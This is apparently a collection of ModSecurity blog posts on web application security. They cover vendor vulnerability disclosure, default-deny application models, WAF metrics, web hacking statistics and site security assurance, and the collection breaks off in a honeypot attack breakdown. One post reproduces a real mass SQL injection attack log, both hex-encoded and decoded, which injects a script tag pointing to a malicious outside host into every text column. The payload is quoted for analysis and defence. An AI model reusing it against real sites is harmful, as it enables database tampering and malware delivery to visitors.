ModSecurity Blog: Web Security

Before I talk to the title of this post, I have to provide a little back story. I have had an ongoing DRAFT blog post whose subject was basically a rant against many vendors who were unwilling to offer vulnerability details. Every now and then I would review and update it a bit, but I never got to the point of actually posting it. I figured it wouldn't do much good in the grand scheme of things and the mere act of updating it provided adequate cathartic relief that a public post was not required.  There has been some recent developments, however that has allowed me to dust off my post and to put a "kudos" spin on it :)

I have long been a proponent of providing options for people to mitigate identified vulnerabilities.  We all realize that the traditional software patching process takes way too long to complete and push out into production when considering that the time it takes for the bad guys to create worm-able exploit code is usually measured in days.  When you combine this with most vendor's vulnerability disclosure policies (which is essentially not to disclose any details), then it is obvious that the bad guys have a distinct advantage in this particular arms race...

Ideally, all vulnerability researchers would work with the vendor and they would jointly release details with patches and then customers would immediately implement them on production hosts.  Unfortunately, reality is much different.  Researchers often have their own agendas and decided to release vulnerability details on their own.  In these cases, the end users have no mitigation options provided by the vendor and are thus exposed to attacks.  For those situations where the researchers and the vendor work together, then the end user at least has fix that they can apply.  The problem is that the standard time-to-fix for organizations to test and install patches is usually a couple months.  So, the vendor has pushed the pig over the fence onto the customer and essentially takes a "it's now your problem now" approach.

What would be useful would be some technical details on the vulnerabilities that are addressed within the patches.  Let's take a look at Oracle's position on public disclosure.  The fact that this is Oracle is irrelevant as many vendors share this same view and that is that they don't want to disclose any technical details of a vulnerability BEFORE patches are released.  I really can't fault them for this stance as they want to ensure that they have patches ready.  What I am focusing on here is when they have a patch set ready, they should provide enough technical details about the vulnerability so that an organization can implement some other mitigation options until the actual patches are installed.  Unfortunately, the vendors position is that they didn't want to release the details as to prevent the bad guys from obtaining the info.  What they are missing, however, is that both the good guys (Sourcefire, iDefense, etc...) and the bad guys are reverse engineering the vendors patches to uncover the details about the vulnerability.  The only people who don't have any details are the end users.

So the point is that Pandora is already out of the box when vendors release patches.  What they should do then is to give technical details for security folks to implement some defenses (for IDSs/IPSs).  A great example of this is when bleeding edge/emerging threats folks would create Snort signatures so that an organization can identify if someone is attempting to exploit a flaw.

Now, the whole point of this post is to highlight that I have fighting the good fight with many vendors to try and get them to see the light on the value of either releasing technical details on web-based vulnerabilities so that end users can create virtual patches with a web application firewall, or even better, for the vendor to release some virtual patches themselves (using the ModSecurity rules language)!  Well, we haven't achieved the latter one yet but we are seeing signs that both Oracle and Microsoft are starting to address the former.  Specifically, Oracle/BEA recently released details about a WebLogic plug-in for Apache and in the mitigation section they actually mentioned the use of ModSecurity to address the problem!  That is a huge step and something that I am extremely excited about.  Then just within the last week we saw the announcement of Microsoft's Active Protections Program (MAAP).  Here is the short overview -

The Microsoft Active Protections Program (MAPP) is a new program that will provide vulnerability information to security software providers in advance of Microsoft Corp.’s monthly security update release. By receiving vulnerability information earlier, security software providers can give customers potential improvements to provide security protection features, such as third-party intrusion detection systems, intrusion prevention systems or security software signatures.

This is certainly an interesting initiative and may help organizations to receive more timely mitigation options to help protect themselves until the official patches are deployed.

Overall, I have have say GREAT job Oracle and Microsoft for truly helping your customers to close their time-to-fix windows.   

A revised version (but still a draft) of the Enough With Default Allow in Web Applications! paper is now available for download. (My previous post on this topic is here.) The major changes in this version include:

1. Decided to use a flat model of resources, rather than a hierarchical one, after realising the nested approach would make models very difficult to read for any non-trivial application. Also, we wanted to support the virtual patching case, which doesn't work with nesting very well.
2. Behaviours can now specify character encodings, which is very important in order to properly parse parameters.
3. We've allowed for a per-model data dictionary, which would allow parameter types to be defined once and reused throughout the model.
4. Many clarifications and small fixes throughout.

Update (4 Aug 2008): Updated links to point to the final version (spell-checked, reviewed and branded) of the paper.

The title of this blog post is also the title of a research paper we are currently working on. Although the paper is still in draft form, we've decided to circulate it widely (download here) because we believe a public exposure in this early stage would benefit it significantly. Also, as you will see from the paper, for the proposed concept to succeed it must have support from many diverse groups of users. What do we want to achieve? Let's look at the summary:

The default allow deployment model, which is commonly used to implement
and deploy web applications, is the cause of numerous security problems. We propose
a method of modelling web applications in a platform-agnostic way to adopt
a default deny model instead, removing several classes of vulnerability altogether
and significantly reducing the attack surface of many others. Our approach is best
adopted during development, but can be nearly as efficient as an afterthought, or
when used at deployment time.

Our main problem is with these three things:

1. HTTP (in a wider sense, taken to mean all specifications needed to develop and deploy web applications) has grown to be quite complex, but although applications generally use a very small subset they are still expected to support every single feature.
2. Many applications are treated as simple collections of files (if it's on the filesystem it's part of application), and this is creating all sorts of issues.
3. Applications do not specify their external interfaces. This is really a consequence of the above two problems. Applications cannot specify external interfaces because they are all implicit.

The bottom line is that we have a chance to create a beautifully positioned protection layer (between web servers and applications), which would not only increase security overall, but turn applications into verifiable components with external contracts that can be enforced.

We propose a use of a platform-independent format to document what applications are willing to accept from the outside world, with the following use cases envisioned:

1. Creation of full application models, which reduce application attack surface. Such models can be created by application developers (which is preferred) or by application users (which, we expect, could happen with very popular and/or open source applications).
2. Creation of partial application models for use in virtual patching.
3. Automated creation of application models through traffic analysis.

In addition to the paper itself, we are planning to release an open source profiling tool (which I will announce next week) to help with the third use case and automate the creation of positive security models (also known as the learning feature of web application firewalls).

Download Enough With Default Allow in Web Applications!

Update (4 Aug 2008): Changed links to point to the final version (reviewed, spell-checked and branded) of the paper. The follow up post is here.

In my earlier post entitled "What's the Score of the Game?" I presented the concept that what ultimately matters with web application security is how the application performs during a "Real Game" which means when it is deployed live on the production network.  Everything else that happens before that time is preparation.  It is important preparation, however no one is given the Lombardi Trophy based on how hard they practiced!  No, you actually have to play in and win the Super Bowl in order to obtain that hardware :)  So, referencing back to the title of this post, if the production network is "where" the webappsec game is actually played, then the next logical question is "How do we keep score?"

This is where web security metrics come into play.

When I say web security metrics, I am referring to data that is relevant to answering the question - Are we winning or losing the game?  By that I mean - in football in order to win the game you have to have more points than your opponent at the end of the game.  In webappsec, if you are in charge of defending a web application, you win if an attacker tries to compromise your site and is unable.  This seems like a "Duh" statement but it actually isn't when you consider how many web security vendors try and tell you the "Score of the Game".  Most vendors will present customers with colorful pie charts stating that a web site has X number of vulnerabilities or that they blocked X number of attacks.  This is like asking someone who won the Giants vs. Patriots game and getting a response of - the Patriots completed 35 passes while the Giants intercepted them 3 times.  Not really answering the question is it?  While some customers may be distracted by eye-catching graphical displays of this information, the savvy ones will ask this key question - Were there any successful attacks?  The answer to this question will tell you the score of the game - did the opponent score any touchdowns???  All other data is corollary.

Sidebar - realistically you are dealing with two different types of attacks - the automated kind where an attacker is targeting a specific vuln and searching for sites that have it or the manual type where the attacker is targeting your site specifically and they must then find a vuln to exploit.  In the former case, it is like when a football opponent tries one desperate Hail-Mary pass down the field as time expires.  If you bat the football down, you win.  If you don't, you lose.  In the latter case, it is like a methodical 99-yard drive down the field where your opponent is running 2-yard dive plays left and right and slowly marching down the field.  If you give them enough time, then they will most likely score.  In this case, it is critical that your webappsec defenses are such that you are able to force the attacker to manually try and search for complex logical attacks or develop evasions, you might then be able to implement countermeasures to prevent them access before being successful.

With this concept as a backdrop, let me present the web security metrics that I feel are most important for the production network and gauging how the web application's security mechanisms are  performing -

1. Web Transactions per Day - This should be represented as a number (#) and establishes a baseline of web traffic and provides some perspective for the other metrics.  Some WAFs will be able to keep track of this data on their own.  If this is not possible then you would need to correlate web server log data.
2. Attacks Detected/True Positive - This data should be represented as both a number (#) and as a percentage (%) of item 1 - total web transactions.  This data is a general indicator of malicious web traffic.  These numbers are presented in a all WAF reporting functions.
3. Missed attacks/False Negative - This data should be represented as both a number (#) and as a percentage (%) of item 1 - total web transactions.  This data is a general indicator of the effectiveness of the web application firewall's detection accuracy.  This is the key metric that is missing when people are trying to determine their webappsec success.  If the WAF is configured for "alert-centric" logging and therefore only logging blocked attacks then you will not be able to report on this data automatically using the WAFs built-in reporting facilities.  If, on the other hand, the WAF audit logging all relevant traffic (requests for non-static resources, etc...) then an Analyst would have raw data to conduct batch analysis and identify missed attacks.  The fall-back data source would be whatever incident response processes exist for the organization.  There may be other sources of data (web logs, IDS, etc...) where a web attack may be confirmed.
4. Blocked Traffic/False Positive - This data should be represented as both a number (#) and as a percentage (%) of item 1 - total web transactions.  This data is a general indicator of the effectiveness of web application firewall's detection accuracy.  This is very important data for many organizations because blocking legitimate customer traffic can mean missed revenue.  This can usually be identified by evaluating any Exceptions that needed to be implemented by the WAF in order to allow "legitimate" traffic that was otherwise triggering a negative security rule or signature.  Besides Exceptions, this data can be identified in Reports if the WAF has appropriate alert ticketing interfaces where an Analyst can categorize the alert. 
5. Attack Detection Failure Rate - This data should be represented as a percentage (%) and is derived by adding items 3 (False Negatives) and 4 (False Positives) and then dividing by item 2 - True Positives.  This percentage will give an overall effectiveness of web application firewall's detection accuracy - meaning the Score of the Game.

Sidebar - I am referencing web application firewalls in the metrics as they are specifically designed to report on this type of data.  You could substitute any security filtering code mechanism built directly into the webapp code, however many implementations do not adequately provide logging and reporting for this data.  This code may present users with a friendly error message, however they are essentially performing "silent drops" of requests from the back-end logging perspective.

As stated earlier, many webappsec vendors will only provide statistics related to item #2 (blocked attacks).  While this data does factor into the equation, it does not provide the best indicator of overall web application security on its own.  So, if you really want to know what the score of the game is for you web applications, I suggest you start tracking the metrics provided in this post.

We, as the webappsec community, should try and move away from "Holy Wars" debating that there is only one right way to address web application vulnerabilities - source code reviews, vulnerability scanning or web application firewalls - and instead focus on the end results. Specifically, instead of obsessing on Inputs (using application x to scan) we should turn our attention towards Outputs (web application hackability). This concept has been skillfully promoted by Richard Bejtlich of TaoSecurity and is called Control-Compliant vs. Field-Assessed security. Here is a short paragraph intro:

In brief, too many organizations, regulators, and government agencies waste precious time and resources devising and auditing "controls," regardless of the effect these controls have or do not have on security. They are far too input-centric; they should become more output-aware. They obsess over recording conditions they believe may be helpful while remaining ignorant of the "score of the game." They practice management by belief and disregard management by fact.

While the impetus for Richard's soapbox rant was the Goverment auditing mindsets, we can still apply this same "input-centric" focus to our current state of webappsec. Due to regulations such as PCI, we are unfortunately framing web security in an input-centric lens and forcing users to checkmark a box stating that they are utilizing process x rather than formulating a strategy to conduct field-assessments to obtain proper metrics on how difficult is it to hack into the site. We are focusing too much on whether a web application's code was either manually or automatically reviewed or if it was scanned with vendor X's scanner, rather than focusing on what is really important - did these activities actually prevent someone from breaking into the web application? If the answer is No, then who really cares what process you followed. More specifically, the fact that your site was PCI compliant at the time of the hack is going to be of little consequence.

Let's take a look at each of these input-centric processes through another great analogy by Richard:

Imagine a football (American-style) team that wants to measure their success during a particular season. Team management decides to measure the height and weight of each player. They time how fast the player runs the 40 yard dash. They note the college from which each player graduated. They collect many other statistics as well, then spend time debating which ones best indicate how successful the football team is. Should the center weigh over 300 pounds? Should the wide receivers have a shoe size of 11 or greater? Should players from the north-west be on the starting line-up? All of this seems perfectly rational to this team. An outsider looks at the situation and says: "Check the scoreboard! You're down 42-7 and you have a 1-6 record. You guys are losers!"

This is an analogy that I have been using more and more recently when discussing source code reviews as they are somewhat like the NFL Scouting Combine. Does measuring each players physical abilities guarantee a player or teams success? Of course not. Does it play a factor in the outcome of an actual game? Usually, however a team's Draft Grade does not always project to actual wins the following season. Similarly, is using an input validation security framework a good idea? Absolutely, however the important point is to look at the web application holistically in a "real game environment" - meaning in production - to see how it performs.

Sticking with the analogy, vulnerability scanning in dev environments is akin to running an Intra-squad scrimmage. It is much more similar to actual game conditions - there is an offense and defense, players are wearing pads and there is a time clock, etc... While this is certainly more realistic to actual game conditions, there is one key element missing - the opponent. Vulnerability scanners do not act in the exact same way that attackers do. Attackers are unpredictable. This is why, even though a team reviews film of their opponent to identify tendencies and devise a game plan to protect their own, it is absolutely critical that a team is able to make adjustments on the fly during a game. It is for this reason that running vulnerability scans in production is critical as you need to test the live system.

Running actual zero-knowledge penetration tests is like Pre-season games in the NFL. The opponent in this case is acting much more like a real attacker would and is actually exploiting vulnerabilities rather than probing and making inferences about vulnerabilities. It is as close as you can get to the real thing, except that the outcome of the game doesn't matter :)

Web application firewalls, that are running in Detection Only modes, are like trying to have a real football game but only doing two-hand touch. If you don't really try and tackle an opponent to the ground (meaning implement blocking capabilities) then you will never truly prevent an attack. Also, as most of you have seen with premiere running backs in the NFL - they have tremendous "evasion" capabilities such as spin moves and stiff-arms that make it difficult for defenders to tackle them. This is the same for web application layer attacks, WAFs need to be running in block mode and have proper anti-evasion normalization features to be able to properly prevent attacks.

It is on the live production network where all or your security preparations will pay off, or on the other hand, it is also where your web application security will crash and burn. I very seldom see development and staging areas that adequately mimic the production environment, which means that you will not truly know how your web application security will fair until it is allowed to be accessed by un-trusted clients. When your web application goes live, it is critical that your entire "team" (developers, assessemnt and operations) is focused and able to quickly respond to the unexpected behavior of clients.  The problem is that these groups do not always communicate effectively and coordinate their efforts.  Specifically, these three groups should be sharing their output with the other two:

Conduct code reviews on all web applications and fix the identified issues.  The code reviews should be conducted when applications are initially being developed and placed into production and also when there are code changes. Any issues that can not be fixed immediately should be identified and passed onto the vulnerabilty scanning and WAF teams for monitoring and remediation.

Conduct vulnerability scans and penetration tests on all web applications.  Should be conducted prior to an application going online and then at regularly scheduled intervals and on an on-demand basis when code changes are made. Any issues identified should be passed onto the Developement and WAF teams for remediation.

Deploy a Web Application Firewall in front of all web server. A WAF will provide protection in production. When the WAF identifies issues with the web application, it can provide reports back to both Development and Vulnerability Scanning teams for remediation and monitoring.  It is this on-the-fly, in-game agility where a WAF shines.

Are game time adjustments always the absolute best option when they are being reviewed in film sessions the following day or on Monday by Arm-Chair Quaterbacks? Nope, but that is OK. They can be adjusted. Also, this film review will also allow for the identification of root-cause issues so that they can be fixed (source code changes) in preparation for the next game.

Breach Labs which sponsors WHID has issued an analysis of the Web Hacking landscape in 2007 based on the incidents recorded at WHID. It took some time as we added the new attributes introduced lately to all 2007 incidents and mined the data to find the juicy stuff:

• The drivers, business or other, behind Web hacking.
 
• The vulnerabilities hackers exploit.
 
• The types of organizations attacked most often.

To be able to answer those questions, WHID tracks the following key attributes for each incident:

• Attack Method - The technical vulnerability exploited by the attacker to perform the hack.
 
• Outcome - the real-world result of the attack.
 
• Country - the country in which the attacked web site (or owning organization) resides.
 
• Origin - the country from which the attack was launched.
 
• Vertical - the field of operation of the organization that was attacked.

Key findings were: 

• 67% percent of the attacks in 2007 were "for profit" motivated. Ideological hacking came second.
 
• With 20%, good old SQL injections dominated as the most common techniques used in the attacks. XSS finished 4th with 12 percent and the young and promising CSRF is still only seldom exploited out there and was included in the "others" group.
 
• Over 44% percent of incidents were tied to non-commercial sites such as Government and Education. We assume that this is partially because incidents happen more in these organizations and partially because these organizations are more inclined to report attacks.
 
• On the commercial side, internet-related organizations top the list. This group includes retail shops, comprising mostly e-commerce sites, media companies and pure internet services such as search engines and service providers. It seems that these companies do not compensate for the higher exposure they incur, with proper security procedures.
 
• In incidents where records leaked or where stolen the average number of records affected was 6,000.

The full report can be found at Breach Security Network.

The recent Geeks.com compromise and subsequent articles have created a perfect storm of discussion topics and concerns related to web security. The underlying theme is that true web security encompasses much more than a Nessus scan from an external company.

The concepts (and much of the text) in this post are taken directly from a blog post by Richard Bejtlich on his TaoSecurity site. I have simply tailored the concepts specifically to web security. Thanks goes to Richard for always posting thought provoking items and making me look at web security through a different set of eyes. You know what they say about imitation ;)

The title of this post form the core of most of my recent thinking on web application security. Since I work for a commercial web application firewall company and am the ModSecurity Community Manager, I often get the chance to talk with people about web application security. While I am not a "sales" guy, I do hang out at our vendor booth when we are at conferences. I am mainly there to field technical questions and just interact with people. I have found that the title of this post is actually one of the absolute best questions to ask someone when they first come up to our booth. It always sparks interesting conversation and can shed light onto specific areas of strength and weakness.

What does it mean to be secure?

Obviously having logos posted on a web site that tout "we are secure" is really just a marketing tactic aimed to re-assure potential customer that it is safe to purchase goods at their site. The reality is that these logos are non-reliable and make no guarantee as to the real level of security offered by the web site. At best, they are an indication that the web site has met some sort of minimum standard. But that is a far cry from actually being secure.

Let me expand "secure" to mean the definition Richard provided in his first book: Security is the process of maintaining an acceptable level of perceived risk. He defined risk as the probability of suffering harm or loss. You could expand my six word question into are you operating a process that maintains an acceptable level of perceived risk for your web application?

Let's review some of the answers you might hear to this question. I'll give an opinion regarding the utility of the answer as well. For the purpose of this exercise let's assume it is possible to answer "yes" to this question. In other words, we just don't answer "no." We could all make arguments as to why it's impossible to be secure, but does that really mean there is no acceptable level of perceived risk in which you could operate? I doubt it. Let's take a look at the varios levels of responses.

So, is your website secure? Prove it.

1. Yes.

Then, crickets (i.e., silence for you non-imaginative folks.) This is completely unacceptable. The failure to provide any kind of proof is security by belief. We want security by fact. Think of it this way, would auditors accept this answer? Could you pass a PCI Audit by simply responding yeah, we are secure. Nope, you need to provide evidence.

2. Yes, we have product X, Y, Z, etc. deployed.

This is better, but it's another expression of belief and not fact. The only fact here is that technologies can be abused, subverted, and broken. Technologies can be simultaneously effective against one attack model and completely worthless against another.

This also reminds me of another common response I hear and that is - yes, we are secure because we use SSL. Ugh... Let me share with you one personal experience that I had with an "SSL Secured" website. Awhile back, I decided to make an online purchase of some herbal packs that can be heated in the microwave and used to treat sore muscles. When I visited the manufacturer's web site, I was dutifully greeted with a message "We are a secure web site! We use 128-bit SSL Encryption." This was reassuring as I obviously did not want to send my credit card number to them in clear text. During my checkout process, I decided to verify some general SSL info about the connection. I double-clicked on the "lock" in the lower-right hand corner of my web browser and verified that the domain name associated with the SSL certificate matched the URL domain that I was visiting, that it was signed by a reputable Certificate Authority such as VeriSign, and, finally, that the certificate was still valid. Everything seemed in order so I proceeded with the checkout process and entered my credit card data. I hit the submit button and was then presented with a message that made my stomach tighten up. The message is displayed next; however, I have edited some of the information to obscure both the company and my credit card data.

The following email message was sent:

To:companyname@aol.com
From: RCBarnett@email.com
Subject:ONLINE HERBPACK!!!
name: Ryan Barnett
address: 1234 Someplace Ct.
city: Someplace
state: State
zip: 12345
phone#:
Type of card: American Express
name on card: Ryan Barnett
card number: 123456789012345
expiration date: 11/05
number of basics:
Number of eyepillows:
Number of neckrings: 1
number of belted: 1
number of jumbo packs:
number of foot warmers: 1
number of knee wraps:
number of wrist wraps:
number of keyboard packs:
number of shoulder wrap-s:
number of cool downz:
number of hats-black:         number of hats-gray:
number of hats-navy:         number of hats-red:
number of hats-rtcamo:         number of hats-orange:
do you want it shipped to a friend:
name:
their address:
their city:
their state:
their zip:
  
cgiemail 1.6

I could not believe it. It looked as though they had sent out my credit card data in clear-text to an AOL email account. How could this be? They were obviously technically savvy enough to understand the need to use SSL encryption when clients submitted their data to their web site. How could they then not provide the same due diligence on the back-end of the process?

I was hoping that I was somehow mistaken. I saw a banner message at the end of the screen that indicated that the application used to process this order was called "cgiemail 1.6." I therefore hopped on Google and tried to track down the details of this application. I found a hit in Google that linked to the cgiemail webmaster guide. I quickly reviewed the contents and found what I was looking for in the "What security issues are there?" section:

Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server.

Risk: With cgiemail as with any form-to-mail program, eavesdroppers can also operate on any point on the pathway between the web server and the end reader of the mail. Since there is no encryption built into cgiemail, it is not recommended for confidential information such as credit card numbers.

Shoot, just as I suspected. I then spent the rest of the day contacting my credit card company about possible information disclosure and to place a watch on my account. I also contacted the company by sending an email to the same AOL address outlining the security issues that they needed to deal with. To summarize this story: Use of SSL does not a "secure site" make.

3. Yes, we are PCI compliant.

Generally speaking, regulatory compliance is usually a check-box paperwork exercise whose controls lag attack models of the day by one to five years, if not more. PCI is somewhat of an exception as it attempts to be more operationally relevant and address more current web application security issues. While there are some admirable aspects of PCI, please keep this mantra in mind -

It is much easier to pass a PCI audit if you are secure than to be secure because you pass a PCI audit.

PCI, like most other regulations, are a minimum standard of due care and passing the audit does make your site "unhackable." A compliant enterprise is like feeling an ocean liner is secure because it left dry dock with life boats and jackets. If regulatory compliance is more than a paperwork self-survey, we approach the realm of real of evidence. However, I have not seen any compliance assessments which measure anything of operational relevance. Check out Richard's Blog posts on Control-Compliant security for more details on this concept and why it is inadequate. What we really need is more of a "Field-Assessed" mode of evaluation. I will discuss this concept more in depth in future Blog posts.

4. Yes, we have logs indicating we prevented web attacks X, Y, and Z (SQL Injection, XSS, etc...).

This is getting close to the right answer, but it's still inadequate. For the first time we have some real evidence (logs) but these will probably not provide the whole picture. I believe that how people deploy and use a WAF is critical. Most people deploy a WAF in an "alert-centric" configuration which will only provide logs when a rule matches. Sure, these alert logs indicate what was identified and potentially stopped, but what about activities that were allowed? Were they all normal, or were some malicious but unrecognized by the preventative mechanism? Deploying a WAF as an HTTP level auditing device is a highly under-utilized deployment option. There is a great old quote that sums up this concept -

"In an incident, if you don't have good logs (i.e. auditing), you'd better have good luck."

5. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns.

Some would call this rationale the definition of security. Whether or not this answer is acceptable depends on the nature of the indications. If you have no indications because you are not monitoring anything, then this excuse is hollow. If you have no indications and you comprehensively track the state of a web application, then we are making real progress. That leads to the penultimate answer, which is very close to ideal.

6. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations.

This is really close to the correct answer. The absence of indications of intrusion is only significant if you have some assurance that you've properly instrumented and understood the web application. You must have trustworthy monitoring systems in order to trust that a web application is "secure." The lack of robust audit logs is usually the reason why organizations can not provide this answer. Put it this way, Common Log Format (CLF) logs are not adequate for full web based incident responst. Too much data is missing. If this is really close, why isn't it correct?

7. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations. We regularly test our detection and response people, processes, and tools against external adversary simulations that match or exceed the capabilities and intentions of the parties attacking our enterprise (i.e., the threat).

Here you see the reason why number 6 was insufficient. If you assumed that number 6 was OK, you forgot to ensure that your operations were up to the task of detecting and responding to intrusions. Periodically you must benchmark your perceived effectiveness against a neutral third party in an operational exercise (a "red team" event). A final assumption inherent in all seven answers is that you know the assets you are trying to secure, which is no mean feat. Think of this practical exercise, if you run a zero-knowledge (meaning un-announced to operations staff) web application penetration test, how does your organization respond? Do they even notice the penetration attempts? Do they report it through the proper escalation procedures? How long does it take before additional preventative measures are employed? Without answers to this type of "live" simulation, you will never truly know if your monitoring and defensive mechanisms are working.

Conclusion

Indirectly, this post also explains why only doing one of the following: web vulnerability scanning, penetration testing, deploying a web application firewall and log analysis does not adequately ensure "security." While each of these tasks excel in some areas and aid in the overall security of a website, they are each also ineffective in other areas. It is the overall coordination of these efforts that will provide organizations with, as Richard would say, a truly "defensible web application."

Here is a snippet from the just released SANS NewsBites letter:

"TOP OF THE NEWS --SQL Injection Attack Infects Thousands of Websites (January 7 & 8, 2008) At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006. Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed. The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."

Additional coverage is available from several places:

• InfoWorld
• CSO Online
• The Register

So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific SQL Injection vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts <script src=http://?.uc8010.com/0.js></script> into all varchar and text fields in your SQL database.

While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.

Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002
0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002
000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006
F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006
E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006
5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007
80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002
90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004
80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007
200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004
30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002
70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004
00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006
800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002
0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002
F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002
0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002
00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006
2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006
2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);–|178|80040e14|
Unclosed_quotation_mark_before_the_character_string_’G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C00400043002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library)
 - 500 15248

If you decode the CAST values, here is the actual SQL that is being injected:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name 
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM  
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T 
varchar(255),@C

Mitigation Options

There are many remediation steps that can and should be taken.

Immediate Fix: Use ModSecurity and the Core Rules

If these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the Core Rules) then the back-end IIS/MS SQL application servers would have been protected against this attack. The free Core Rules, which are available for download from the the ModSecurity web site, include SQL injection rules that would have identified and blocked this specific automated attack. Specifically, Rule ID 950001 in the modsecurity_crs_40_generic_attacks.conf file would have triggered on the "cast(" portion of the SQL injection string.

Mid-Term/Long-Term Fix: Correct the Code

Web developers should identify and correct any Input Validation errors in their code, and make sure the SQL queries are sent to the database in a safe manner (which typically translates to using binding to pass parameters).

We've had a couple of very interesting presentations on the OWASP London Chapter December 6th meeting. They are now available for download from the Chapter page or directly from here:

• Adrian Pastor: Cracking into embedded devices and beyond!
• Rodrigo Marcos: Blind SQL Injection: Optimization Techniques

Getting good turnout at OWASP London meetings is traditionally difficult. There were 13 people attending the meeting in September (the first meeting I organised) with 18 people showing up in December. (Is this a positive trend? Probably too early to tell.) Some other Chapters don't seem to have problems with low attendance (for example those in Belgium, Israel, New York, to name a few) but having 18 people turn up -- in spite of the horrible weather we've had on the day -- is a success in London.

I am sure there is no shortage of people in London interested in computer security but finding a way to get them to attend OWASP meetings still eludes us. Adrian, one of the speakers at the most recent meeting, shares the sentiment in his blog post. So does Daniel, who had started the Chapter and organised many of its meetings:

Having started the OWASP London chapter and sorted a few London meetings, I can tell you it's a damn hard job. The problem with London is that everyone is busy, and after a long day you often feel like going home and relaxing with the family/wife/girlfriend/boyfriend etc. It sucks, I wish it was more like the US side of things, but it's a price you pay for being in such an aggressive market.

I am sure of a few things, though: hard work and persistence are the essential ingredients. Our biggest problem, however, may be with the lack of proper marketing. I am guessing most of the people who would be interested in attending have no idea about the meetings at all. Oh, well. One more thing to add to my to-do list!

As some of you may know, I am heading up the WASC Distributed Open Proxy Honeypot Project. The project architecture includes having participants deploy VMware images of a specially configured Apache server (functioning as an open proxy) along with ModSecurity. When the honeypot identifies an attack, it blocks it and then sends back the attack data to a central log server. This gives us a pretty unique view of the types of attacks that happening out on the web as most bad guys are using these types of open proxies to funnel their attacks through to try and hide their true origins.

We recently (Oct 2007) deployed phase II of the project and now have many more sensors online. As you might expect, we are getting some interesting traffic :) With this in mind, I am going to be periodically posting attack data that we identify with the honeypots and provide a sort of web attack "Chalk Talk" breakdown of what is happening. For those of you aren't familiar with the "Chalk Talk" term, it is commonly used by sports commentators in the United States when discussing American Football. The sports analysts breakdown the schemes used by offenses and defenses to show spectators the details of what is happening.

With this in mind, here is the 1st installment - Blind SQL Injection.

A client sent the following request (bolded portions are of interest):

GET http://www.mehdiplugins.com/misc/phpbbjoomhack.htm?textfield=Your%20site%20was%20so%20interesting
%20and%20informative%20I%20had%20to%20call%20a%20friend%20to%20tell%20her%20about%20it%2E%20Great
%20work%0D%0A%20%3Ca%20href%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap4%2Ehtml%20%3E%20
My%20Best%20Links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2F
map2%2Ehtml%20%3E%20top%20links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp%3A%2F%2Fahsjh%2Efreephpwebhosting
